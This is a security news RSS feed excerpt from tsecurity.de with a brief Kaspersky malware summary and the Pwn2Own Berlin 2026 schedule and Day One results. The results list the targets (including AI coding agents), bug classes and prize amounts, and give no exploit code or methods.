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<copyright>2026 Team IT Security</copyright>
<managingEditor>lakandor@tsecurity.de (Horus Sirius)</managingEditor>
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<title><![CDATA[Team IT Security - 📰 Alle Kategorien]]></title>
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<title><![CDATA[New Project CAV3RN module abuses Outlook calendar events for C2 and DNS AAAA records for configuration recovery]]></title>
<description><![CDATA[Kaspersky GReAT experts describe a new Project CAV3RN C2 module. It uses Outlook calendar for communication via Microsoft Graph and has a backup connection via DNS AAAA responses.]]></description>
<link>https://tsecurity.de/de/3694635/malware-trojaner-viren/new-project-cav3rn-module-abuses-outlook-calendar-events-for-c2-and-dns-aaaa-records-for-configuration-recovery/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694635/malware-trojaner-viren/new-project-cav3rn-module-abuses-outlook-calendar-events-for-c2-and-dns-aaaa-records-for-configuration-recovery/</guid>
<pubDate>Sat, 25 Jul 2026 19:04:16 +0200</pubDate>
<category>⚠️ Malware / Trojaner / Viren</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Kaspersky GReAT experts describe a new Project CAV3RN C2 module. It uses Outlook calendar for communication via Microsoft Graph and has a backup connection via DNS AAAA responses.]]></content:encoded>
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<title><![CDATA[Pwn2Own Berlin 2026: The Full Schedule]]></title>
<description><![CDATA[Willkommen! (Welcome!) Pwn2Own Berlin 2026 has arrived at OffensiveCon, and the world’s top security researchers are ready. This year’s enterprise-focused competition features AI Databases, Coding Agents, Local Inferences, and a separate category for NVIDIA products.Earlier today, we held the ran...]]></description>
<link>https://tsecurity.de/de/3694567/hacking/pwn2own-berlin-2026-the-full-schedule/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694567/hacking/pwn2own-berlin-2026-the-full-schedule/</guid>
<pubDate>Sat, 25 Jul 2026 19:02:56 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p class="">Willkommen! (Welcome!) Pwn2Own Berlin 2026 has arrived at OffensiveCon, and the world’s top security researchers are ready. This year’s enterprise-focused competition features AI Databases, Coding Agents, Local Inferences, and a separate category for NVIDIA products.</p><p class="">Earlier today, we held the random draw to determine attempt order. Below is the official schedule. All times are Berlin local time (CET) and may change as the competition progresses. Check back for live updates.</p><p class="">In case you missed it, you can watch the draw <a href="https://youtube.com/live/Dtp-ICE0crw" target="_blank">here</a>. </p>





















  
  




  


  
  
    
    
      
        
        
        
          
          
            
        
        
          
        
        
            
          
        
        
      
    
  
  
    



  



  

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<p><a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/5/13/pwn2own-berlin-2026-the-full-schedule#day1" tabindex="0">Day One</a></p>
<p><a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/5/13/pwn2own-berlin-2026-the-full-schedule#day2" tabindex="0">Day Two</a></p>
<p><a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/5/13/pwn2own-berlin-2026-the-full-schedule#day3" tabindex="0">Day Three</a></p>
<p><a data-preserve-html-node="true" name="day1"></a></p>




  <p class="">DAY ONE</p><p class=""><strong>Thursday, May 14 - 1030</strong></p><p class="">chompie of IBM X-Force Offensive Research (XOR) targeting NV Container Toolkit in the NVIDIA category for a total of $50,000 and 5 Master of Pwn points</p><p class="">Le Duc Anh Vu ( @vulda ) of Viettel Cyber Security (@vcslab) targeting OpenAI Codex in the Coding Agent category for a total of $40,000 and 4 Master of Pwn points</p><p class="">Orange Tsai (@orange_8361) of DEVCORE Research Team (@d3vc0r3) targeting Microsoft Edge – Sandbox Escape in the Web Browser category for a total of $175,000 and 17.5 Master of Pwn points</p><p class=""><strong>Thursday, May 14 - 1130</strong></p><p class="">k3vg3n targeting LiteLLM in the Local Inference category for a total of $40,000 and 4 Master of Pwn points</p><p class="">Satoki Tsuji (@satoki00) / Ikotas Labs, Inc. targeting Megatron Bridge in the NVIDIA category for a total of $20,000 and 2 Master of Pwn points</p><p class=""><strong>Thursday, May 14 - 1300</strong></p><p class="">Angelboy (@scwuaptx) of DEVCORE Research Team and TwinkleStar03 (@_twinklestar03), working with DEVCORE Internship Program targeting Microsoft Windows 11 in the Local Escalation of Privilege category for a total of $30,000 and 3 Master of Pwn points</p><p class="">Emanuele Barbeno, Cyrill Bannwart, Yves Bieri, Lukasz D., Urs Mueller of Compass Security (@compasssecurity) targeting OpenAI Codex in the Coding Agent category for a total of $40,000 and 4 Master of Pwn points</p><p class="">Park Jae Min (@hiariz) targeting Oracle Autonomous AI Database in the AI Database category for a total of $40,000 and 4 Master of Pwn points</p><p class=""><strong>Thursday, May 14 - 1400</strong></p><p class="">Satoki Tsuji (@satoki00) / Ikotas Labs, Inc. targeting LiteLLM in the Local Inference category for a total of $40,000 and 4 Master of Pwn points.</p><p class="">Yoseop kim(@pwning_me) targeting Megatron Bridge in the NVIDIA category for a total of $20,000 and 2 Master of Pwn points</p><p class=""><strong>Thursday, May 14 - 1500</strong> </p><p class="">Ben Koo (@kiddo_pwn) of Team DDOS targeting Mozilla Firefox – Renderer Only in the Web Browser category for a total of $50,000 and 5 Master of Pwn points</p><p class="">Interrupt Labs targeting NV Container Toolkit in the NVIDIA category for a total of $50,000 and 5 Master of Pwn points</p><p class=""><strong>Thursday, May 14 - 1530</strong></p><p class="">maitai (@MaitaiThe) of Doyensec (@Doyensec) targeting OpenAI Codex in the Coding Agent category for a total of $40,000 and 4 Master of Pwn points</p><p class=""><strong>Thursday, May 14 - 1600</strong></p><p class="">Billy (@st424204), Pan Zhenpeng(@Peterpan980927), Weiming Shi (@bestswngs) of STARLabs SG (@starlabs_sg) targeting LM Studio in the Local Inference category for a total of $40,000 and 4 Master of Pwn points</p><p class="">Marcin Wiązowski targeting Microsoft Windows 11 in the Local Escalation of Privilege category for a total of $30,000 and 3 Master of Pwn points</p><p class=""><strong>Thursday, May 14 - 1630</strong></p><p class="">haehae (@haehaeYang) of Out Of Bounds targeting Chroma in the AI Database category for a total of $20,000 and 2 Master of Pwn points</p><p class=""><strong>Thursday, May 14 - 1730</strong></p><p class="">chompie of IBM X-Force Offensive Research (XOR) targeting Red Hat Enterprise Linux for Workstations in the Local Escalation of Privilege category for a total of $20,000 and 2 Master of Pwn points</p><p class="">Yoseop Kim(@pwning_me) targeting Mozilla Firefox – Renderer Only in the Web Browser category for a total of $50,000 and 5 Master of Pwn points</p><p class=""><strong>Thursday, May 14 - 1800</strong></p><p class="">@rewhiles of Viettel Cyber Security (@vcslab) targeting Anthropic Claude Code in the Coding Agent category for a total of $40,000 and 4 Master of Pwn points</p><p class=""><strong>Thursday, May 14 - 1830</strong></p><p class="">Kentaro Kawane of GMO Cybersecurity by Ierae targeting Microsoft Windows 11 in the Local Escalation of Privilege category for a total of $30,000 and 3 Master of Pwn points</p><p class="">Qrious Secure (@qriousec) targeting LM Studio in the Local Inference category for a total of $40,000 and 4 Master of Pwn points</p><p class=""><strong>Thursday, May 14 - 1900</strong></p><p class="">haehae (@haehaeYang) of Out of Bounds targeting Megatron Bridge in the NVIDIA category for a total of $20,000 and 2 Master of Pwn points</p>





















  
  



<p><a data-preserve-html-node="true" name="day2"></a>
<a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/5/13/pwn2own-berlin-2026-the-full-schedule#top"><i data-preserve-html-node="true">Back to top</i></a></p>




  <p class="">DAY TWO</p><p class=""><strong>Friday, May 15 - 1030</strong></p><p class="">Ben Koo (@kiddo_pwn) of Team DDOS targeting Red Hat Enterprise Linux for Workstations in the Local Escalation of Privilege category for a total of $20,000 and 2 Master of Pwn points</p><p class="">Stephen Fewer (Rapid7) targeting Microsoft SharePoint in the Server category for a total of $100,000 and 10 Master of Pwn points</p><p class="">Tao Yan (@Ga1ois) and Edouard Bochin (@le_douds) from Palo Alto Networks targeting Apple Safari – Renderer Only in the Web Browser category for a total of $75,000 and 7.5 Master of Pwn points</p><p class=""><strong>Friday, May 15 - 1130</strong></p><p class="">Le Duc Anh Vu ( @vulda ) of Viettel Cyber Security (@vcslab) targeting Cursor in the Coding Agent category for a total of $30,000 and 3 Master of Pwn points</p><p class="">Nikolaos Mourousias (@deltaclock), Caue Obici (@caueobici) and Bruno Halltari (@BrunoModificato) of OtterSec targeting LM Studio in the Local Inference category for a total of $40,000 and 4 Master of Pwn points</p><p class="">Sina Kheirkhah (@SinSinology) of Summoning Team (@SummoningTeam). targeting Anthropic Claude Code in the Coding Agent category for a total of $40,000 and 4 Master of Pwn points</p><p class=""><strong>Friday, May 15 - 1300</strong></p><p class="">Ruitong from the Abstract Team at the University of Colorado Boulder targeting Red Hat Enterprise Linux for Workstations in the Local Escalation of Privilege category for a total of $20,000 and 2 Master of Pwn points</p><p class=""><strong>Friday, May 15 - 1330</strong></p><p class="">Kiyong Kwak of Kakaogames and Song Nuri of Samsung Electronics targeting Apple Safari – Renderer Only in the Web Browser category for a total of $75,000 and 7.5 Master of Pwn points</p><p class="">Orange Tsai (@orange_8361) of DEVCORE Research Team targeting Microsoft Exchange in the Server category for a total of $200,000 and 20 Master of Pwn points</p><p class=""><strong>Friday, May 15 - 1400</strong></p><p class="">Sina Kheirkhah (@SinSinology) of Summoning Team (@SummoningTeam). targeting OpenAI Codex in the Coding Agent category for a total of $40,000 and 4 Master of Pwn points</p><p class=""><strong>Friday, May 15 - 1430</strong></p><p class="">Billy (@st424204), Bruce Chen(@bruce30262), Pan Zhenpeng(@Peterpan980927), Weiming Shi (@bestswngs ) of STARLabs SG (@starlabs_sg) targeting Megatron Bridge in the NVIDIA category for a total of $20,000 and 2 Master of Pwn points</p><p class="">David Tae, Louis Hur of Out Of Bounds targeting Ollama in the Local Inference category for a total of $40,000 and 4 Master of Pwn points</p><p class=""><strong>Friday, May 15 - 1530</strong></p><p class="">Team: Alon Ben Tsur (@iamgweej), Yahav Azran (@_yahav) targeting Red Hat Enterprise Linux for Workstations in the Local Escalation of Privilege category for a total of $20,000 and 2 Master of Pwn points</p><p class=""><strong>Friday, May 15 - 1600</strong></p><p class="">@rewhiles of Viettel Cyber Security (@vcslab) targeting Mozilla Firefox – Renderer Only in the Web Browser category for a total of $50,000 and 5 Master of Pwn points</p><p class="">Siyeon Wi targeting Microsoft Windows 11 in the Local Escalation of Privilege category for a total of $30,000 and 3 Master of Pwn points</p><p class=""><strong>Friday, May 15 - 1630</strong></p><p class="">Byung Young Yi (@yibarrack) of Out Of Bounds targeting LiteLLM in the Local Inference category for a total of $40,000 and 4 Master of Pwn points</p><p class=""><strong>Friday, May 15 - 1700</strong></p><p class="">Emanuele Barbeno, Cyrill Bannwart, Yves Bieri, Lukasz D., Urs Mueller of Compass Security (@compasssecurity) targeting Cursor in the Coding Agent category for a total of $30,000 and 3 Master of Pwn points</p><p class=""><strong>Friday, May 15 - 1800</strong></p><p class="">Daniel Cohen Hillel (@0xDACA) targeting NV Container Toolkit in the NVIDIA category for a total of $50,000 and 5 Master of Pwn points</p>





















  
  



<p><a data-preserve-html-node="true" name="day3"></a>
<a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/5/13/pwn2own-berlin-2026-the-full-schedule#top"><i data-preserve-html-node="true">Back to top</i></a></p>




  <p class="">DAY THREE</p><p class=""><strong>Saturday, May 16 - 1100</strong></p><p class="">Le Tran Hai Tung (@tacbliw), dungnm (@dungnm_) and hieuvd (@gr4ss341) of Viettel Cyber Security (@vcslab) targeting Microsoft Windows 11 in the Local Escalation of Privilege category for a total of $30,000 and 3 Master of Pwn points</p><p class="">Satoki Tsuji (@satoki00) / Ikotas Labs, Inc. targeting OpenAI Codex in the Coding Agent category for a total of $40,000 and 4 Master of Pwn points</p><p class="">Sina Kheirkhah (@SinSinology) of Summoning Team (@SummoningTeam). targeting Red Hat Enterprise Linux for Workstations in the Local Escalation of Privilege category for a total of $20,000 and 2 Master of Pwn points</p><p class=""><strong>Saturday, May 16 - 1330</strong></p><p class="">Emanuele Barbeno, Cyrill Bannwart, Yves Bieri, Lukasz D., Urs Mueller of Compass Security (@compasssecurity) targeting Anthropic Claude Code in the Coding Agent category for a total of $40,000 and 4 Master of Pwn points</p><p class="">Hyunwoo Kim (@v4bel) targeting Red Hat Enterprise Linux for Workstations in the Local Escalation of Privilege category for a total of $20,000 and 2 Master of Pwn points</p><p class="">Team: Giuseppe Calì (@_gcali) of Summoning Team targeting VMware ESXi in the Virtualization category with the Cross-tenant Code Execution Addon add-on for a total of $200,000 and 20 Master of Pwn points</p><p class=""><strong>Saturday, May 16 - 1430</strong></p><p class="">splitline (@_splitline_) of DEVCORE Research Team targeting Microsoft SharePoint in the Server category for a total of $100,000 and 10 Master of Pwn points</p><p class=""><strong>Saturday, May 16 - 1600</strong></p><p class="">Byung Young Yi (@yibarrack) of Out Of Bounds targeting Anthropic Claude Code in the Coding Agent category for a total of $40,000 and 4 Master of Pwn points</p><p class="">Nguyen Hoang Thach (@hi_im_d4rkn3ss) of STARLabs SG (@starlabs_sg) targeting VMware ESXi in the Virtualization category with the Cross-tenant Code Execution Addon add-on for a total of $200,000 and 20 Master of Pwn points</p><p class="">Follow the action live! We’ll be posting real-time updates and results throughout the competition on our <a href="https://www.zerodayinitiative.com/blog">blog</a> and across social media. Stay up to date by following us on <a href="https://www.twitter.com/thezdi">Twitter</a>, <a href="https://infosec.exchange/@thezdi">Mastodon</a>, <a href="https://www.linkedin.com/company/zerodayinitiative">LinkedIn</a>, and <a href="https://bsky.app/profile/thezdi.bsky.social">Bluesky</a>, and join the conversation using #Pwn2Own Berlin and #P2OBerlin for continuous coverage. </p>]]></content:encoded>
</item>
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<title><![CDATA[Pwn2Own Berlin 2026 - Day One Results]]></title>
<description><![CDATA[Welcome to Day One of Pwn2Own Berlin 2026! Today, 22 entries took the Pwn2Own stage to target AI Databases, Coding Agents, Local Inferences, and a separate category for NVIDIA products, as the world’s top security researchers push technology to its limits. Exploits, surprises, and breakthrough di...]]></description>
<link>https://tsecurity.de/de/3694566/hacking/pwn2own-berlin-2026-day-one-results/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694566/hacking/pwn2own-berlin-2026-day-one-results/</guid>
<pubDate>Sat, 25 Jul 2026 19:02:55 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p class="">Welcome to Day One of Pwn2Own Berlin 2026! Today, 22 entries took the Pwn2Own stage to target AI Databases, Coding Agents, Local Inferences, and a separate category for NVIDIA products, as the world’s top security researchers push technology to its limits. Exploits, surprises, and breakthrough discoveries are unfolding.</p><p class="">After Day One, we awarded $523,000 for 24 unique 0-days! DEVCORE is currently in the lead for Master of Pwn, but a pack of teams are right on their heels. Stay tuned tomorrow for more results and surprises.</p><p class="">Follow the action live! We’ll be posting real-time updates and results throughout the competition on our <a href="https://www.zerodayinitiative.com/blog">blog</a> and across social media. Stay up to date by following us on <a href="https://www.twitter.com/thezdi">Twitter</a>, <a href="https://infosec.exchange/@thezdi">Mastodon</a>, <a href="https://www.linkedin.com/company/zerodayinitiative">LinkedIn</a>, and <a href="https://bsky.app/profile/thezdi.bsky.social">Bluesky</a>, and join the conversation using #Pwn2Own Berlin and #P2OBerlin for continuous coverage. </p>





















  
  














































  

    
  
    

      

      
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<p><b data-preserve-html-node="true">FAILURE</b> - Unfortunately, Le Duc Anh Vu (@vulda17) of Viettel Cyber Security (@vcslab) could not get their exploit of OpenAI Codex working within the time allotted.</p>
<p><b data-preserve-html-node="true">SUCCESS</b> - Orange Tsai (@orange_8361) of DEVCORE Research Team (@d3vc0r3) chained 4 logic bugs to achieve a sandbox escape on Microsoft Edge, earning $175,000 and 17.5 Master of Pwn points.</p>












































  

    
  
    

      

      
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<p><b data-preserve-html-node="true">SUCCESS</b> - chompie of IBM X-Force Offensive Research (XOR) used a single bug to exploit NV Container Toolkit, earning $50,000 and 5 Master of Pwn points.</p>












































  

    
  
    

      

      
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                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2146a3e8-818a-45a3-847c-e913e1cd9d78/Media.jpeg" data-image-dimensions="1767x1330" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2146a3e8-818a-45a3-847c-e913e1cd9d78/Media.jpeg?format=1000w" width="1767" height="1330" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2146a3e8-818a-45a3-847c-e913e1cd9d78/Media.jpeg?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2146a3e8-818a-45a3-847c-e913e1cd9d78/Media.jpeg?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2146a3e8-818a-45a3-847c-e913e1cd9d78/Media.jpeg?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2146a3e8-818a-45a3-847c-e913e1cd9d78/Media.jpeg?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2146a3e8-818a-45a3-847c-e913e1cd9d78/Media.jpeg?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2146a3e8-818a-45a3-847c-e913e1cd9d78/Media.jpeg?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2146a3e8-818a-45a3-847c-e913e1cd9d78/Media.jpeg?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
          
        

        
      
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<p><b data-preserve-html-node="true">SUCCESS</b> - k3vg3n chained 3 bugs including SSRF and Code Injection to take down LiteLLM. $40,000 and 4 Master of Pwn points. Full win. </p>












































  

    
  
    

      

      
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                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/7c29c804-939f-4208-91ca-ea0f95a6c3a1/IMG_3052.jpeg" data-image-dimensions="4032x2268" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/7c29c804-939f-4208-91ca-ea0f95a6c3a1/IMG_3052.jpeg?format=1000w" width="4032" height="2268" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/7c29c804-939f-4208-91ca-ea0f95a6c3a1/IMG_3052.jpeg?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/7c29c804-939f-4208-91ca-ea0f95a6c3a1/IMG_3052.jpeg?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/7c29c804-939f-4208-91ca-ea0f95a6c3a1/IMG_3052.jpeg?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/7c29c804-939f-4208-91ca-ea0f95a6c3a1/IMG_3052.jpeg?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/7c29c804-939f-4208-91ca-ea0f95a6c3a1/IMG_3052.jpeg?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/7c29c804-939f-4208-91ca-ea0f95a6c3a1/IMG_3052.jpeg?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/7c29c804-939f-4208-91ca-ea0f95a6c3a1/IMG_3052.jpeg?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
          
        

        
      
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<p><b data-preserve-html-node="true">SUCCESS</b> - Satoki Tsuji (@satoki00) of Ikotas Labs, Inc. used an Overly Permissive Allowed List bug to exploit NVIDIA Megatron Bridge, earning $20,000 and 2 Master of Pwn points.</p>












































  

    
  
    

      

      
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<p><b data-preserve-html-node="true">FAILURE</b> - Unfortunately, Park Jae Min could not get their exploit of Oracle Autonomous AI Database  working within the time allotted. #Pwn2Own #P2OBerlin</p>
<p><b data-preserve-html-node="true">SUCCESS</b> - Emanuele Barbeno, Cyrill Bannwart, Yves Bieri, Lukasz D., Urs Mueller of Compass Security (@compasssecurity) used a single CWE-150 bug to exploit OpenAI Codex, earning $40,000 and 4 Master of Pwn points.</p>
<p><b data-preserve-html-node="true">SUCCESS</b> - Angelboy (@scwuaptx) &amp; TwinkleStar03 (@_twinklestar03) of DEVCORE Research Team used an Improper Access Control bug to escalate privileges on Microsoft Windows 11, earning $30,000 and 3 Master of Pwn points.</p>












































  

    
  
    

      

      
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<p><b data-preserve-html-node="true">WITHDRAWAL</b> - Ben Koo (@kiddo_pwn) of Team DDOS has withdrawn their entry for Mozilla Firefox – Renderer Only in the Web Browser category</p>
<p><b data-preserve-html-node="true">FAILURE</b> - Unfortunately, Interrupt Labs could not get their exploit of NV Container Toolkit working within the time allotted</p>
<p><b data-preserve-html-node="true">COLLISON</b> - Although successful on stage, the Ikotas Labs, Inc. team targeting LiteLLM in the Local Inference category used bugs that were previously known. They still earn $8,000 and 1.75 Master of Pwn points. </p>
<p><b data-preserve-html-node="true">SUCCESS</b> - Yoseop Kim (@pwning_me) used a CWE-470 bug to exploit NVIDIA Megatron Bridge in the second round, earning $10,000 and 2 Master of Pwn points.</p>












































  

    
  
    

      

      
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<p><b data-preserve-html-node="true">COLLISON</b> - Although successful on stage, maitai (@MaitaiThe) of Doyensec (@Doyensec) targeting OpenAI Codex in the Coding Agent category used a bug that was previously known to the vendor. They still earn $10,000 and 2 Master of Pwn points.</p>
<p><b data-preserve-html-node="true">WITHDRAWAL</b> - Yoseop Kim(@pwning_me) has withdrawn their entry for Mozilla Firefox – Renderer Only in the Web Browser category</p>
<p><b data-preserve-html-node="true">SUCCESS</b> - haehae (@haehaeYang) of Out Of Bounds chained 2 bugs (CWE-190, CWE-362) to exploit Chroma, earning $20,000 and 2 Master of Pwn points.</p>












































  

    
  
    

      

      
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                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/f263f440-190c-471c-aa16-9d58cacdc2dd/F1B35960-5644-4D02-A973-EC0A9BF3A342_1_105_c.jpeg" data-image-dimensions="1024x768" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/f263f440-190c-471c-aa16-9d58cacdc2dd/F1B35960-5644-4D02-A973-EC0A9BF3A342_1_105_c.jpeg?format=1000w" width="1024" height="768" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/f263f440-190c-471c-aa16-9d58cacdc2dd/F1B35960-5644-4D02-A973-EC0A9BF3A342_1_105_c.jpeg?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/f263f440-190c-471c-aa16-9d58cacdc2dd/F1B35960-5644-4D02-A973-EC0A9BF3A342_1_105_c.jpeg?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/f263f440-190c-471c-aa16-9d58cacdc2dd/F1B35960-5644-4D02-A973-EC0A9BF3A342_1_105_c.jpeg?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/f263f440-190c-471c-aa16-9d58cacdc2dd/F1B35960-5644-4D02-A973-EC0A9BF3A342_1_105_c.jpeg?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/f263f440-190c-471c-aa16-9d58cacdc2dd/F1B35960-5644-4D02-A973-EC0A9BF3A342_1_105_c.jpeg?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/f263f440-190c-471c-aa16-9d58cacdc2dd/F1B35960-5644-4D02-A973-EC0A9BF3A342_1_105_c.jpeg?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/f263f440-190c-471c-aa16-9d58cacdc2dd/F1B35960-5644-4D02-A973-EC0A9BF3A342_1_105_c.jpeg?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
          
        

        
      
        </figure>
      

    
  


  


<p><b data-preserve-html-node="true">SUCCESS</b> - Billy (@st424204), Pan Zhenpeng (@Peterpan980927) &amp; Weiming Shi (@bestswngs) of STARLabs SG (@starlabs_sg) chained 5 bugs (incl. SSRF and Code Injection) to exploit LM Studio, earning $40,000 and 4 Master of Pwn points. Full win!</p>












































  

    
  
    

      

      
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                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ef590d46-4595-415a-8a7c-72d578c15164/Screenshot+2026-05-14+at+9.48.43%E2%80%AFAM.png" data-image-dimensions="1016x888" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ef590d46-4595-415a-8a7c-72d578c15164/Screenshot+2026-05-14+at+9.48.43%E2%80%AFAM.png?format=1000w" width="1016" height="888" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ef590d46-4595-415a-8a7c-72d578c15164/Screenshot+2026-05-14+at+9.48.43%E2%80%AFAM.png?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ef590d46-4595-415a-8a7c-72d578c15164/Screenshot+2026-05-14+at+9.48.43%E2%80%AFAM.png?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ef590d46-4595-415a-8a7c-72d578c15164/Screenshot+2026-05-14+at+9.48.43%E2%80%AFAM.png?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ef590d46-4595-415a-8a7c-72d578c15164/Screenshot+2026-05-14+at+9.48.43%E2%80%AFAM.png?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ef590d46-4595-415a-8a7c-72d578c15164/Screenshot+2026-05-14+at+9.48.43%E2%80%AFAM.png?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ef590d46-4595-415a-8a7c-72d578c15164/Screenshot+2026-05-14+at+9.48.43%E2%80%AFAM.png?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ef590d46-4595-415a-8a7c-72d578c15164/Screenshot+2026-05-14+at+9.48.43%E2%80%AFAM.png?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
          
        

        
      
        </figure>
      

    
  


  


<p><b data-preserve-html-node="true">SUCCESS</b> - Marcin Wiązowski used a heap-based buffer overflow to escalate privileges on Microsoft Windows 11 in the second round, earning $15,000 and 3 Master of Pwn points.</p>












































  

    
  
    

      

      
        <figure class="
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                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ea025410-eeb1-491e-9134-3de9fbcb137e/image.png" data-image-dimensions="3449x2586" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ea025410-eeb1-491e-9134-3de9fbcb137e/image.png?format=1000w" width="3449" height="2586" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ea025410-eeb1-491e-9134-3de9fbcb137e/image.png?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ea025410-eeb1-491e-9134-3de9fbcb137e/image.png?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ea025410-eeb1-491e-9134-3de9fbcb137e/image.png?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ea025410-eeb1-491e-9134-3de9fbcb137e/image.png?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ea025410-eeb1-491e-9134-3de9fbcb137e/image.png?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ea025410-eeb1-491e-9134-3de9fbcb137e/image.png?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ea025410-eeb1-491e-9134-3de9fbcb137e/image.png?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
          
        

        
      
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<p><b data-preserve-html-node="true">WITHDRAWAL</b> - Qrious Secure (@qriousec) has withdrawn their entry for LM Studio in the Local Inference category.</p>
<p><b data-preserve-html-node="true">SUCCESS</b> - Chompie of IBM X-Force Offensive Research (XOR) used a race condition to escalate privileges on Red Hat Enterprise Linux for Workstations, earning $20,000 and 2 Master of Pwn points.</p>












































  

    
  
    

      

      
